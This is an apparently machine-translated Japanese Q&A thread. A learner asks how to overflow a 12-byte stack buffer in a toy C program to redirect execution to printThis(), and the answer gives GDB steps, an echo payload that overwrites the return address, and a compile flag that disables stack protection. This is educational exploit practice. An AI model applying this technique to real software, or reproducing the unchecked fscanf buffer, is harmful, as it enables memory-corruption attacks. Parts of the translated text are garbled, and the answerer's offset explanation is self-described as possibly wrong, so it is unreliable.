0

一連のシェル op コードを使用して、以下のコードのバッファの脆弱性を悪用する必要があります。私は Google が提案したほとんどすべてを見てきましたが、この特定の問題は、機能が分離されているために私を混乱させています。

void printThis(){
   if(printf("You did it 1!") >=0) exit(0);
   if(printf("You did it 2!") >=0) exit(0);
   if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
   char exploit[12];
   int i;

   fscanf(f, "%s", exploit);

   for( i = 0; i < 12; i++){
      printf("%c", exploit[i]);
   }

   printf("\"\n");

}

int main(int argc, char** argv){
   FILE *fp;
   fp = fopen(argv[1], "r");

   readIn(fp);
   fclose(fp);
   printf("You suck at exploiting. I should not be printed.");

}

異なるスタックを使用しているためreadIn()、ステートメントの戻りアドレスでバッファーをオーバーフローさせる方法に興味があります。printThis()直観は、印刷の呼び出しへのジャンプが機能すると言いますが、私はそれを機能させることができませんでした.

GDB のペイロードに必要な情報を取得するための提案はありますか? ご協力いただきありがとうございます!

4

1 に答える 1

2

みんなのお気に入りのデバッガーを起動します。

$ gdb myprog

逆アセンブルprintThis:

$ 逆アセンブル printThis

呼び出したい命令のアドレスを取得します。私の場合は です0x0000000000400758。入力ファイルを作成し、12 文字を入力しexploit、さらに 12 個の NUL バイトを入力してから、必要なリターン アドレスを入力します。

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(バイトが実際に必要なものとは逆になっていることに注意してください)。入力ファイルを使用してテストを実行します。

$ ./myprog 入力.txt
abcdabcdabcd」
やったね 3!

12 個のNULiバイトがと(x86_64 では 4 バイトの int、8 バイトのポインター)を上書きしていると思いfますが、自分が何をしているのか、何について話しているのか見当もつかないため、その説明は完全に偽物である可能性があります。

myprogまた、次のようにコンパイルする必要がありました。

$ gcc -fno-stack-protector -g myprog.c -o myprog

そうしないと、目的の出力ではなく、スタック破壊検出クラッシュが発生しました。

于 2015-04-07T19:39:49.987 に答える